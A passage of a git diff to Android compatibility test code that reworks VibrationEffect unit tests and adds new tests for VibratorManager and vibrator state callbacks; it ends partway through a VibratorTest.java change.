     public void testCreateWaveformFailsRepeatIndexOutOfBounds() {
-        try {
-            VibrationEffect.createWaveform(TEST_TIMINGS, TEST_AMPLITUDES, -2);
-            fail("Repeat index is < -1, should throw IllegalArgumentException");
-        } catch (IllegalArgumentException expected) { }
+        assertThrows(IllegalArgumentException.class,
+                () -> VibrationEffect.createWaveform(TEST_TIMINGS, TEST_AMPLITUDES, -2));
 
-        try {
-            VibrationEffect.createWaveform(TEST_TIMINGS, TEST_AMPLITUDES, TEST_AMPLITUDES.length);
-            fail("Repeat index is >= array length, should throw IllegalArgumentException");
-        } catch (IllegalArgumentException expected) { }
+        assertThrows(IllegalArgumentException.class,
+                () -> VibrationEffect.createWaveform(TEST_TIMINGS, TEST_AMPLITUDES,
+                        TEST_AMPLITUDES.length));
     }
 
     @Test
     public void testCreateWaveformFailsBadTimingValues() {
-        try {
-            final long[] badTimings = Arrays.copyOf(TEST_TIMINGS, TEST_TIMINGS.length);
-            badTimings[1] = -1;
-            VibrationEffect.createWaveform(badTimings,TEST_AMPLITUDES, -1);
-            fail("Has a timing < 0, should throw IllegalArgumentException");
-        } catch (IllegalArgumentException expected) { }
+        final long[] badTimings = Arrays.copyOf(TEST_TIMINGS, TEST_TIMINGS.length);
+        badTimings[1] = -1;
+        assertThrows(IllegalArgumentException.class,
+                () -> VibrationEffect.createWaveform(badTimings,TEST_AMPLITUDES, -1));
 
-        try {
-            final long[] badTimings = new long[TEST_TIMINGS.length];
-            VibrationEffect.createWaveform(badTimings, TEST_AMPLITUDES, -1);
-            fail("Has no non-zero timings, should throw IllegalArgumentException");
-        } catch (IllegalArgumentException expected) { }
+        final long[] emptyTimings = new long[TEST_TIMINGS.length];
+        assertThrows(IllegalArgumentException.class,
+                () -> VibrationEffect.createWaveform(emptyTimings, TEST_AMPLITUDES, -1));
     }
 
     @Test
     public void testCreateWaveformFailsBadAmplitudeValues() {
-        try {
-            final int[] badAmplitudes = new int[TEST_TIMINGS.length];
-            badAmplitudes[1] = -2;
-            VibrationEffect.createWaveform(TEST_TIMINGS, badAmplitudes, -1);
-            fail("Has an amplitude < VibrationEffect.DEFAULT_AMPLITUDE, " +
-                    "should throw IllegalArgumentException");
-        } catch (IllegalArgumentException expected) { }
+        final int[] negativeAmplitudes = new int[TEST_TIMINGS.length];
+        negativeAmplitudes[1] = -2;
+        assertThrows(IllegalArgumentException.class,
+                () -> VibrationEffect.createWaveform(TEST_TIMINGS, negativeAmplitudes, -1));
 
-        try {
-            final int[] badAmplitudes = new int[TEST_TIMINGS.length];
-            badAmplitudes[1] = 256;
-            VibrationEffect.createWaveform(TEST_TIMINGS, badAmplitudes, -1);
-            fail("Has an amplitude > 255, should throw IllegalArgumentException");
-        } catch (IllegalArgumentException expected) { }
+        final int[] highAmplitudes = new int[TEST_TIMINGS.length];
+        highAmplitudes[1] = 256;
+        assertThrows(IllegalArgumentException.class,
+                () -> VibrationEffect.createWaveform(TEST_TIMINGS, highAmplitudes, -1));
     }
 
     @Test
     public void testCreateWaveformWithNoAmplitudes() {
-        VibrationEffect.createWaveform(TEST_TIMINGS, -1);
-        VibrationEffect.createWaveform(TEST_TIMINGS, 0);
-        VibrationEffect.createWaveform(TEST_TIMINGS, TEST_TIMINGS.length - 1);
+        VibrationEffect effect = VibrationEffect.createWaveform(TEST_TIMINGS, -1);
+        assertArrayEquals(TEST_TIMINGS, getTimings(effect));
+        assertEquals(-1, getRepeatIndex(effect));
+        for (int i = 0; i < TEST_TIMINGS.length; i++) {
+            assertAmplitude(i % 2 == 0 ? 0 : VibrationEffect.DEFAULT_AMPLITUDE, effect, i);
+        }
+
+        effect = VibrationEffect.createWaveform(TEST_TIMINGS, 0);
+        assertEquals(0, getRepeatIndex(effect));
+
+        effect = VibrationEffect.createWaveform(TEST_TIMINGS, TEST_TIMINGS.length - 1);
+        assertEquals(TEST_TIMINGS.length - 1, getRepeatIndex(effect));
     }
 
     @Test
     public void testCreateWaveformWithNoAmplitudesFailsRepeatIndexOutOfBounds() {
-        try {
-            VibrationEffect.createWaveform(TEST_TIMINGS, -2);
-            fail("Repeat index is < -1, should throw IllegalArgumentException");
-        } catch (IllegalArgumentException expected) { }
+        assertThrows(IllegalArgumentException.class,
+                () -> VibrationEffect.createWaveform(TEST_TIMINGS, -2));
 
-        try {
-            VibrationEffect.createWaveform(TEST_TIMINGS, TEST_TIMINGS.length);
-            fail("Repeat index is >= timings array length, should throw IllegalArgumentException");
-        } catch (IllegalArgumentException expected) { }
+        assertThrows(IllegalArgumentException.class,
+                () -> VibrationEffect.createWaveform(TEST_TIMINGS, TEST_TIMINGS.length));
     }
 
     @Test
@@ -371,40 +367,23 @@
     }
 
     @Test
+    public void testParcelingComposed() {
+        Parcel p = Parcel.obtain();
+        TEST_COMPOSED.writeToParcel(p, 0);
+        p.setDataPosition(0);
+        VibrationEffect parceledEffect = VibrationEffect.CREATOR.createFromParcel(p);
+        assertEquals(TEST_COMPOSED, parceledEffect);
+    }
+
+    @Test
     public void testDescribeContents() {
         TEST_ONE_SHOT.describeContents();
         TEST_WAVEFORM.describeContents();
-        TEST_WAVEFORM_NO_AMPLITUDES.describeContents();
         TEST_PREBAKED.describeContents();
         TEST_COMPOSED.describeContents();
     }
 
     @Test
-    public void testSetStrength() {
-        VibrationEffect.Prebaked effect = (VibrationEffect.Prebaked)VibrationEffect.get(
-                VibrationEffect.EFFECT_CLICK, true);
-        int[] strengths = {
-                VibrationEffect.EFFECT_STRENGTH_LIGHT,
-                VibrationEffect.EFFECT_STRENGTH_MEDIUM,
-                VibrationEffect.EFFECT_STRENGTH_STRONG
-        };
-        for (int strength : strengths) {
-            effect.setEffectStrength(strength);
-            assertEquals(strength, effect.getEffectStrength());
-        }
-    }
-
-    @Test
-    public void testSetStrengthInvalid() {
-        VibrationEffect.Prebaked effect = (VibrationEffect.Prebaked)VibrationEffect.get(
-                VibrationEffect.EFFECT_CLICK, true);
-        try {
-            effect.setEffectStrength(239017);
-            fail("Illegal strength, should throw IllegalArgumentException");
-        } catch (IllegalArgumentException expected) {}
-    }
-
-    @Test
     public void testStartComposition() {
         VibrationEffect.Composition first = VibrationEffect.startComposition();
         VibrationEffect.Composition other = VibrationEffect.startComposition();
@@ -412,16 +391,43 @@
     }
 
     @Test
+    public void testComposed() {
+        VibrationEffect effect = VibrationEffect.startComposition()
+                .addPrimitive(VibrationEffect.Composition.PRIMITIVE_TICK)
+                .addEffect(TEST_ONE_SHOT)
+                .addPrimitive(VibrationEffect.Composition.PRIMITIVE_CLICK, 0.5f, 10)
+                .addEffect(VibrationEffect.get(VibrationEffect.EFFECT_THUD))
+                .addEffect(TEST_WAVEFORM)
+                .compose();
+
+        assertEquals(-1, effect.getDuration());
+        assertArrayEquals(new long[]{
+                -1 /* tick */, TEST_TIMING /* oneshot */, -1 /* click */, -1 /* thud */,
+                100, 100, 200 /* waveform */
+        }, getTimings(effect));
+        assertPrimitiveId(VibrationEffect.Composition.PRIMITIVE_TICK, effect, 0);
+        assertAmplitude(TEST_FLOAT_AMPLITUDE, effect, 1);
+        assertPrimitiveId(VibrationEffect.Composition.PRIMITIVE_CLICK, effect, 2);
+        assertPrebakedEffectId(VibrationEffect.EFFECT_THUD, effect, 3);
+        assertAmplitude(TEST_FLOAT_AMPLITUDES[0], effect, 4);
+        assertAmplitude(TEST_FLOAT_AMPLITUDES[1], effect, 5);
+        assertAmplitude(TEST_FLOAT_AMPLITUDES[2], effect, 6);
+    }
+
+    @Test
     public void testComposedEquals() {
         VibrationEffect effect = VibrationEffect.startComposition()
                 .addPrimitive(VibrationEffect.Composition.PRIMITIVE_CLICK)
-                .addPrimitive(VibrationEffect.Composition.PRIMITIVE_TICK)
-                .addPrimitive(VibrationEffect.Composition.PRIMITIVE_QUICK_FALL)
+                .addEffect(TEST_ONE_SHOT, /* delay= */ 10)
+                .addPrimitive(VibrationEffect.Composition.PRIMITIVE_TICK, 0.5f, 10)
+                .addEffect(TEST_WAVEFORM)
                 .compose();
+
         VibrationEffect otherEffect = VibrationEffect.startComposition()
-                .addPrimitive(VibrationEffect.Composition.PRIMITIVE_CLICK)
-                .addPrimitive(VibrationEffect.Composition.PRIMITIVE_TICK, 1f)
-                .addPrimitive(VibrationEffect.Composition.PRIMITIVE_QUICK_FALL, 1f, 0)
+                .addPrimitive(VibrationEffect.Composition.PRIMITIVE_CLICK, 1f, 0)
+                .addEffect(TEST_ONE_SHOT, /* delay= */ 10)
+                .addPrimitive(VibrationEffect.Composition.PRIMITIVE_TICK, 0.5f, 10)
+                .addEffect(TEST_WAVEFORM)
                 .compose();
         assertEquals(effect, otherEffect);
         assertEquals(effect.hashCode(), otherEffect.hashCode());
@@ -486,20 +492,196 @@
     }
 
     @Test
+    public void testComposedDifferentWaveformsNotEquals() {
+        VibrationEffect effect = VibrationEffect.startComposition()
+                .addEffect(TEST_ONE_SHOT)
+                .compose();
+        VibrationEffect otherEffect = VibrationEffect.startComposition()
+                .addEffect(TEST_WAVEFORM)
+                .compose();
+        assertNotEquals(effect, otherEffect);
+    }
+
+    @Test
+    public void testComposedDifferentWaveformDelayNotEquals() {
+        VibrationEffect effect = VibrationEffect.startComposition()
+                .addEffect(TEST_ONE_SHOT, /* delay= */ 10)
+                .compose();
+        VibrationEffect otherEffect = VibrationEffect.startComposition()
+                .addEffect(TEST_ONE_SHOT, /* delay= */ 100)
+                .compose();
+        assertNotEquals(effect, otherEffect);
+    }
+
+    @Test
     public void testComposedDuration() {
         VibrationEffect effect = VibrationEffect.startComposition()
                 .addPrimitive(VibrationEffect.Composition.PRIMITIVE_CLICK, 0.5f, 1000)
                 .addPrimitive(VibrationEffect.Composition.PRIMITIVE_TICK)
+                .addEffect(TEST_ONE_SHOT)
                 .compose();
         assertEquals(-1, effect.getDuration());
+
+        effect = VibrationEffect.startComposition()
+                .addEffect(TEST_ONE_SHOT)
+                .compose();
+        assertEquals(TEST_ONE_SHOT.getDuration(), effect.getDuration());
+
+        effect = VibrationEffect.startComposition()
+                .addPrimitive(VibrationEffect.Composition.PRIMITIVE_TICK)
+                .addEffect(VibrationEffect.createWaveform(new long[]{10, 10}, /* repeat= */ 0))
+                .compose();
+        assertEquals(Long.MAX_VALUE, effect.getDuration());
+    }
+
+    @Test(expected = IllegalStateException.class)
+    public void testComposeEmptyCompositionIsInvalid() {
+        VibrationEffect.startComposition().compose();
     }
 
     @Test
-    public void testComposeEmptyCompositionIsInvalid() {
-        try {
-            VibrationEffect.startComposition().compose();
-            fail("Illegal composition, should throw IllegalStateException");
-        } catch (IllegalStateException expected) {}
+    public void testStartWaveform() {
+        VibrationEffect.WaveformBuilder first = VibrationEffect.startWaveform();
+        VibrationEffect.WaveformBuilder other = VibrationEffect.startWaveform();
+        assertNotEquals(first, other);
+
+        VibrationEffect effect = VibrationEffect.startWaveform()
+                .addStep(/* amplitude= */ 0.5f, /* duration= */ 10)
+                .addStep(/* amplitude= */ 0.8f, /* frequency= */ -1f, /* duration= */ 20)
+                .addRamp(/* amplitude= */ 1f, /* duration= */ 100)
+                .addRamp(/* amplitude= */ 0.2f, /* frequency= */ 1f, /* duration= */ 200)
+                .build();
+
+        assertArrayEquals(new long[]{10, 20, 100, 200}, getTimings(effect));
+        assertStepSegment(effect, 0);
+        assertAmplitude(0.5f, effect, 0);
+        assertFrequency(0f, effect, 0);
+
+        assertStepSegment(effect, 1);
+        assertAmplitude(0.8f, effect, 1);
+        assertFrequency(-1f, effect, 1);
+
+        assertRampSegment(effect, 2);
+        assertAmplitude(1f, effect, 2);
+        assertFrequency(-1f, effect, 2);
+
+        assertRampSegment(effect, 3);
+        assertAmplitude(0.2f, effect, 3);
+        assertFrequency(1f, effect, 3);
+    }
+
+    @Test
+    public void testStartWaveformEquals() {
+        VibrationEffect other = VibrationEffect.startWaveform()
+                .addStep(/* amplitude= */ 0.5f, /* duration= */ 10)
+                .addStep(/* amplitude= */ 0.8f, /* frequency= */ -1f, /* duration= */ 20)
+                .addRamp(/* amplitude= */ 1f, /* duration= */ 100)
+                .addRamp(/* amplitude= */ 0.2f, /* frequency= */ 1f, /* duration= */ 200)
+                .build();
+        assertEquals(TEST_WAVEFORM_BUILT, other);
+        assertEquals(TEST_WAVEFORM_BUILT.hashCode(), other.hashCode());
+
+        VibrationEffect.WaveformBuilder builder = VibrationEffect.startWaveform()
+                .addStep(TEST_FLOAT_AMPLITUDE, (int) TEST_TIMING);
+        assertEquals(TEST_ONE_SHOT, builder.build());
+        assertEquals(TEST_ONE_SHOT.hashCode(), builder.build().hashCode());
+
+        builder = VibrationEffect.startWaveform();
+        for (int i = 0; i < TEST_TIMINGS.length; i++) {
+            builder.addStep(i % 2 == 0 ? 0 : VibrationEffect.DEFAULT_AMPLITUDE,
+                    (int) TEST_TIMINGS[i]);
+        }
+        assertEquals(TEST_WAVEFORM_NO_AMPLITUDES, builder.build());
+        assertEquals(TEST_WAVEFORM_NO_AMPLITUDES.hashCode(), builder.build().hashCode());
+
+        builder = VibrationEffect.startWaveform();
+        for (int i = 0; i < TEST_TIMINGS.length; i++) {
+            builder.addStep(TEST_FLOAT_AMPLITUDES[i], (int) TEST_TIMINGS[i]);
+        }
+        assertEquals(TEST_WAVEFORM, builder.build());
+        assertEquals(TEST_WAVEFORM.hashCode(), builder.build().hashCode());
+    }
+
+    @Test
+    public void testStartWaveformNotEqualsDifferentNumberOfSteps() {
+        VibrationEffect other = VibrationEffect.startWaveform()
+                .addStep(/* amplitude= */ 0.5f, /* duration= */ 10)
+                .addRamp(/* amplitude= */ 1f, /* duration= */ 100)
+                .build();
+        assertNotEquals(TEST_WAVEFORM_BUILT, other);
+    }
+
+    @Test
+    public void testStartWaveformNotEqualsDifferentTypesOfStep() {
+        VibrationEffect first = VibrationEffect.startWaveform()
+                .addStep(/* amplitude= */ 0.5f, /* duration= */ 10)
+                .build();
+        VibrationEffect second = VibrationEffect.startWaveform()
+                .addRamp(/* amplitude= */ 0.5f, /* duration= */ 10)
+                .build();
+        assertNotEquals(first, second);
+    }
+
+    @Test
+    public void testStartWaveformNotEqualsDifferentRepeatIndex() {
+        VibrationEffect first = VibrationEffect.startWaveform()
+                .addStep(/* amplitude= */ 0.5f, /* duration= */ 10)
+                .build(0);
+        VibrationEffect second = VibrationEffect.startWaveform()
+                .addStep(/* amplitude= */ 1f, /* duration= */ 10)
+                .build(-1);
+        assertNotEquals(first, second);
+    }
+
+    @Test
+    public void testStartWaveformNotEqualsDifferentAmplitudes() {
+        VibrationEffect first = VibrationEffect.startWaveform()
+                .addStep(/* amplitude= */ 0.5f, /* duration= */ 10)
+                .build();
+        VibrationEffect second = VibrationEffect.startWaveform()
+                .addStep(/* amplitude= */ 1f, /* duration= */ 10)
+                .build();
+        assertNotEquals(first, second);
+    }
+
+    @Test
+    public void testStartWaveformNotEqualsDifferentFrequency() {
+        VibrationEffect first = VibrationEffect.startWaveform()
+                .addStep(/* amplitude= */ 0.5f, /* frequency= */ 0.5f, /* duration= */ 10)
+                .build();
+        VibrationEffect second = VibrationEffect.startWaveform()
+                .addStep(/* amplitude= */ 0.5f, /* frequency= */ -1f, /* duration= */ 10)
+                .build();
+        assertNotEquals(first, second);
+    }
+
+    @Test
+    public void testStartWaveformNotEqualsDifferentDuration() {
+        VibrationEffect first = VibrationEffect.startWaveform()
+                .addRamp(/* amplitude= */ 0.5f, /* duration= */ 1)
+                .build();
+        VibrationEffect second = VibrationEffect.startWaveform()
+                .addRamp(/* amplitude= */ 0.5f, /* duration= */ 10)
+                .build();
+        assertNotEquals(first, second);
+    }
+
+    @Test(expected = IllegalStateException.class)
+    public void testStartWaveformEmptyBuilderIsInvalid() {
+        VibrationEffect.startWaveform().build();
+    }
+
+    @Test
+    public void testStartWaveformFailsRepeatIndexOutOfBounds() {
+        assertThrows(IllegalArgumentException.class,
+                () -> VibrationEffect.startWaveform()
+                        .addStep(/* amplitude= */1, /* duration= */ 20)
+                        .build(-2));
+
+        assertThrows(IllegalArgumentException.class,
+                () -> VibrationEffect.startWaveform()
+                        .addStep(/* amplitude= */1, /* duration= */ 20)
+                        .build(1));
     }
 
     @Test
@@ -509,4 +691,81 @@
         TEST_PREBAKED.toString();
         TEST_COMPOSED.toString();
     }
+
+    private long[] getTimings(VibrationEffect effect) {
+        return ((VibrationEffect.Composed) effect).getSegments().stream()
+                .mapToLong(VibrationEffectSegment::getDuration)
+                .toArray();
+    }
+
+    private int getRepeatIndex(VibrationEffect effect) {
+        return ((VibrationEffect.Composed) effect).getRepeatIndex();
+    }
+
+    private void assertStepSegment(VibrationEffect effect, int index) {
+        VibrationEffect.Composed composed = (VibrationEffect.Composed) effect;
+        assertTrue(index < composed.getSegments().size());
+        assertTrue(composed.getSegments().get(index) instanceof StepSegment);
+    }
+
+    private void assertRampSegment(VibrationEffect effect, int index) {
+        VibrationEffect.Composed composed = (VibrationEffect.Composed) effect;
+        assertTrue(index < composed.getSegments().size());
+        assertTrue(composed.getSegments().get(index) instanceof RampSegment);
+    }
+
+    private void assertAmplitude(float expected, VibrationEffect effect, int index) {
+        VibrationEffect.Composed composed = (VibrationEffect.Composed) effect;
+        assertTrue(index < composed.getSegments().size());
+        VibrationEffectSegment segment = composed.getSegments().get(index);
+        if (segment instanceof StepSegment) {
+            assertEquals(expected, ((StepSegment) composed.getSegments().get(index)).getAmplitude(),
+                    TEST_TOLERANCE);
+        } else if (segment instanceof RampSegment) {
+            assertEquals(expected,
+                    ((RampSegment) composed.getSegments().get(index)).getEndAmplitude(),
+                    TEST_TOLERANCE);
+        } else {
+            fail("Expected a step or ramp segment at index " + index + " of " + effect);
+        }
+    }
+
+    private void assertFrequency(float expected, VibrationEffect effect, int index) {
+        VibrationEffect.Composed composed = (VibrationEffect.Composed) effect;
+        assertTrue(index < composed.getSegments().size());
+        VibrationEffectSegment segment = composed.getSegments().get(index);
+        if (segment instanceof StepSegment) {
+            assertEquals(expected, ((StepSegment) composed.getSegments().get(index)).getFrequency(),
+                    TEST_TOLERANCE);
+        } else if (segment instanceof RampSegment) {
+            assertEquals(expected,
+                    ((RampSegment) composed.getSegments().get(index)).getEndFrequency(),
+                    TEST_TOLERANCE);
+        } else {
+            fail("Expected a step or ramp segment at index " + index + " of " + effect);
+        }
+    }
+
+    private void assertPrebakedEffectId(int expected, VibrationEffect effect, int index) {
+        VibrationEffect.Composed composed = (VibrationEffect.Composed) effect;
+        assertTrue(index < composed.getSegments().size());
+        assertTrue(composed.getSegments().get(index) instanceof PrebakedSegment);
+        assertEquals(expected, ((PrebakedSegment) composed.getSegments().get(index)).getEffectId());
+    }
+
+    private void assertShouldFallback(boolean expected, VibrationEffect effect, int index) {
+        VibrationEffect.Composed composed = (VibrationEffect.Composed) effect;
+        assertTrue(index < composed.getSegments().size());
+        assertTrue(composed.getSegments().get(index) instanceof PrebakedSegment);
+        assertEquals(expected,
+                ((PrebakedSegment) composed.getSegments().get(index)).shouldFallback());
+    }
+
+    private void assertPrimitiveId(int expected, VibrationEffect effect, int index) {
+        VibrationEffect.Composed composed = (VibrationEffect.Composed) effect;
+        assertTrue(index < composed.getSegments().size());
+        assertTrue(composed.getSegments().get(index) instanceof PrimitiveSegment);
+        assertEquals(expected,
+                ((PrimitiveSegment) composed.getSegments().get(index)).getPrimitiveId());
+    }
 }
diff --git a/tests/tests/os/src/android/os/cts/VibratorManagerTest.java b/tests/tests/os/src/android/os/cts/VibratorManagerTest.java
new file mode 100644
index 0000000..398938bb
--- /dev/null
+++ b/tests/tests/os/src/android/os/cts/VibratorManagerTest.java
@@ -0,0 +1,265 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.mockito.ArgumentMatchers.eq;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.reset;
+import static org.mockito.Mockito.timeout;
+import static org.mockito.Mockito.verify;
+
+import android.os.CombinedVibration;
+import android.os.SystemClock;
+import android.os.VibrationAttributes;
+import android.os.VibrationEffect;
+import android.os.Vibrator;
+import android.os.Vibrator.OnVibratorStateChangedListener;
+import android.os.VibratorManager;
+import android.util.SparseArray;
+
+import androidx.test.filters.LargeTest;
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.AdoptShellPermissionsRule;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.mockito.junit.MockitoJUnit;
+import org.mockito.junit.MockitoRule;
+
+import java.util.Arrays;
+
+@RunWith(AndroidJUnit4.class)
+public class VibratorManagerTest {
+    @Rule
+    public ActivityTestRule<SimpleTestActivity> mActivityRule = new ActivityTestRule<>(
+            SimpleTestActivity.class);
+
+    @Rule
+    public final AdoptShellPermissionsRule mAdoptShellPermissionsRule =
+            new AdoptShellPermissionsRule(
+                    InstrumentationRegistry.getInstrumentation().getUiAutomation(),
+                    android.Manifest.permission.ACCESS_VIBRATOR_STATE);
+    
+    @Rule
+    public final MockitoRule mMockitoRule = MockitoJUnit.rule();
+
+    private static final long CALLBACK_TIMEOUT_MILLIS = 5000;
+    private static final VibrationAttributes VIBRATION_ATTRIBUTES =
+            new VibrationAttributes.Builder()
+                    .setUsage(VibrationAttributes.USAGE_TOUCH)
+                    .build();
+
+    private VibratorManager mVibratorManager;
+    private final SparseArray<OnVibratorStateChangedListener> mStateListeners = new SparseArray<>();
+
+    @Before
+    public void setUp() {
+        mVibratorManager =
+                InstrumentationRegistry.getInstrumentation().getContext().getSystemService(
+                        VibratorManager.class);
+
+        for (int vibratorId : mVibratorManager.getVibratorIds()) {
+            OnVibratorStateChangedListener listener = mock(OnVibratorStateChangedListener.class);
+            mVibratorManager.getVibrator(vibratorId).addVibratorStateListener(listener);
+            mStateListeners.put(vibratorId, listener);
+            reset(listener);
+        }
+    }
+
+    @After
+    public void cleanUp() {
+        mVibratorManager.cancel();
+    }
+
+    @Test
+    public void testCancel() {
+        mVibratorManager.vibrate(CombinedVibration.createParallel(
+                VibrationEffect.createOneShot(10_000, VibrationEffect.DEFAULT_AMPLITUDE)));
+        assertStartsVibrating();
+
+        mVibratorManager.cancel();
+        assertStopsVibrating();
+    }
+
+    @LargeTest
+    @Test
+    public void testVibrateOneShot() {
+        VibrationEffect oneShot =
+                VibrationEffect.createOneShot(300, VibrationEffect.DEFAULT_AMPLITUDE);
+        mVibratorManager.vibrate(CombinedVibration.createParallel(oneShot));
+        assertStartsThenStopsVibrating(300);
+
+        oneShot = VibrationEffect.createOneShot(500, 255 /* Max amplitude */);
+        mVibratorManager.vibrate(CombinedVibration.createParallel(oneShot));
+        assertStartsVibrating();
+
+        mVibratorManager.cancel();
+        assertStopsVibrating();
+
+        oneShot = VibrationEffect.createOneShot(100, 1 /* Min amplitude */);
+        mVibratorManager.vibrate(CombinedVibration.createParallel(oneShot),
+                VIBRATION_ATTRIBUTES);
+        assertStartsVibrating();
+    }
+
+    @LargeTest
+    @Test
+    public void testVibrateWaveform() {
+        final long[] timings = new long[]{100, 200, 300, 400, 500};
+        final int[] amplitudes = new int[]{64, 128, 255, 128, 64};
+        VibrationEffect waveform = VibrationEffect.createWaveform(timings, amplitudes, -1);
+        mVibratorManager.vibrate(CombinedVibration.createParallel(waveform));
+        assertStartsThenStopsVibrating(1500);
+
+        waveform = VibrationEffect.createWaveform(timings, amplitudes, 0);
+        mVibratorManager.vibrate(CombinedVibration.createParallel(waveform));
+        assertStartsVibrating();
+
+        mVibratorManager.cancel();
+        assertStopsVibrating();
+    }
+
+    @Test
+    public void testVibrateSingleVibrator() {
+        int[] vibratorIds = mVibratorManager.getVibratorIds();
+        if (vibratorIds.length < 2) {
+            return;
+        }
+
+        VibrationEffect oneShot =
+                VibrationEffect.createOneShot(10_000, VibrationEffect.DEFAULT_AMPLITUDE);
+
+        for (int vibratorId : vibratorIds) {
+            Vibrator vibrator = mVibratorManager.getVibrator(vibratorId);
+            mVibratorManager.vibrate(
+                    CombinedVibration.startParallel()
+                            .addVibrator(vibratorId, oneShot)
+                            .combine());
+            assertStartsVibrating(vibratorId);
+
+            for (int otherVibratorId : vibratorIds) {
+                if (otherVibratorId != vibratorId) {
+                    assertFalse(mVibratorManager.getVibrator(otherVibratorId).isVibrating());
+                }
+            }
+
+            vibrator.cancel();
+            assertStopsVibrating(vibratorId);
+        }
+    }
+
+    @Test
+    public void testGetVibratorIds() {
+        // Just make sure it doesn't crash or return null when this is called; we don't really have
+        // a way to test which vibrators will be returned.
+        assertNotNull(mVibratorManager.getVibratorIds());
+    }
+
+    @Test
+    public void testGetNonExistentVibratorId() {
+        int missingId = Arrays.stream(mVibratorManager.getVibratorIds()).max().orElse(0) + 1;
+        Vibrator vibrator = mVibratorManager.getVibrator(missingId);
+        assertNotNull(vibrator);
+        assertFalse(vibrator.hasVibrator());
+    }
+
+    @Test
+    public void testGetDefaultVibrator() {
+        Vibrator systemVibrator =
+                InstrumentationRegistry.getInstrumentation().getContext().getSystemService(
+                        Vibrator.class);
+        assertSame(systemVibrator, mVibratorManager.getDefaultVibrator());
+    }
+
+    @Test
+    public void testVibrator() {
+        for (int vibratorId : mVibratorManager.getVibratorIds()) {
+            Vibrator vibrator = mVibratorManager.getVibrator(vibratorId);
+            assertNotNull(vibrator);
+            assertEquals(vibratorId, vibrator.getId());
+            assertTrue(vibrator.hasVibrator());
+
+            // Just check these methods will not crash.
+            // We don't really have a way to test if the device supports each effect or not.
+            vibrator.hasAmplitudeControl();
+
+            // Just check these methods return valid support arrays.
+            // We don't really have a way to test if the device supports each effect or not.
+            assertEquals(2, vibrator.areEffectsSupported(
+                    VibrationEffect.EFFECT_TICK, VibrationEffect.EFFECT_CLICK).length);
+            assertEquals(2, vibrator.arePrimitivesSupported(
+                    VibrationEffect.Composition.PRIMITIVE_CLICK,
+                    VibrationEffect.Composition.PRIMITIVE_TICK).length);
+
+            vibrator.vibrate(VibrationEffect.createOneShot(500, VibrationEffect.DEFAULT_AMPLITUDE));
+            assertStartsVibrating(vibratorId);
+            assertTrue(vibrator.isVibrating());
+
+            vibrator.cancel();
+            assertStopsVibrating(vibratorId);
+        }
+    }
+
+    private void assertStartsThenStopsVibrating(long duration) {
+        for (int i = 0; i < mStateListeners.size(); i++) {
+            verify(mStateListeners.valueAt(i), timeout(CALLBACK_TIMEOUT_MILLIS).atLeastOnce())
+                    .onVibratorStateChanged(true);
+        }
+        SystemClock.sleep(duration);
+        assertVibratorState(false);
+    }
+
+    private void assertStartsVibrating() {
+        assertVibratorState(true);
+    }
+
+    private void assertStartsVibrating(int vibratorId) {
+        assertVibratorState(vibratorId, true);
+    }
+
+    private void assertStopsVibrating() {
+        assertVibratorState(false);
+    }
+
+    private void assertStopsVibrating(int vibratorId) {
+        assertVibratorState(vibratorId, false);
+    }
+
+    private void assertVibratorState(boolean expected) {
+        for (int i = 0; i < mStateListeners.size(); i++) {
+            assertVibratorState(mStateListeners.keyAt(i), expected);
+        }
+    }
+
+    private void assertVibratorState(int vibratorId, boolean expected) {
+        OnVibratorStateChangedListener listener = mStateListeners.get(vibratorId);
+        verify(listener, timeout(CALLBACK_TIMEOUT_MILLIS).atLeastOnce())
+                .onVibratorStateChanged(eq(expected));
+        reset(listener);
+    }
+}
diff --git a/tests/tests/os/src/android/os/cts/VibratorTest.java b/tests/tests/os/src/android/os/cts/VibratorTest.java
index 278bea3..8c6617b 100644
--- a/tests/tests/os/src/android/os/cts/VibratorTest.java
+++ b/tests/tests/os/src/android/os/cts/VibratorTest.java
@@ -17,131 +17,216 @@
 package android.os.cts;
 
 import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
+import static org.mockito.ArgumentMatchers.anyBoolean;
+import static org.mockito.ArgumentMatchers.eq;
+import static org.mockito.Mockito.mock;
 import static org.mockito.Mockito.reset;
 import static org.mockito.Mockito.timeout;
 import static org.mockito.Mockito.verify;
 
-import android.app.UiAutomation;
 import android.media.AudioAttributes;
-import android.os.cts.SimpleTestActivity;
 import android.os.SystemClock;
 import android.os.VibrationEffect;
 import android.os.Vibrator;
 import android.os.Vibrator.OnVibratorStateChangedListener;
 
-import androidx.test.InstrumentationRegistry;
 import androidx.test.filters.LargeTest;
+import androidx.test.platform.app.InstrumentationRegistry;
 import androidx.test.rule.ActivityTestRule;
 import androidx.test.runner.AndroidJUnit4;
 
+import com.android.compatibility.common.util.AdoptShellPermissionsRule;
+
+import org.junit.After;
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import org.mockito.Mock;
-import org.mockito.MockitoAnnotations;
+import org.mockito.junit.MockitoJUnit;
+import org.mockito.junit.MockitoRule;
+
+import java.util.concurrent.Executors;
 
 @RunWith(AndroidJUnit4.class)
-@LargeTest
 public class VibratorTest {
     @Rule
     public ActivityTestRule<SimpleTestActivity> mActivityRule = new ActivityTestRule<>(
             SimpleTestActivity.class);
 
+    @Rule
+    public final AdoptShellPermissionsRule mAdoptShellPermissionsRule =
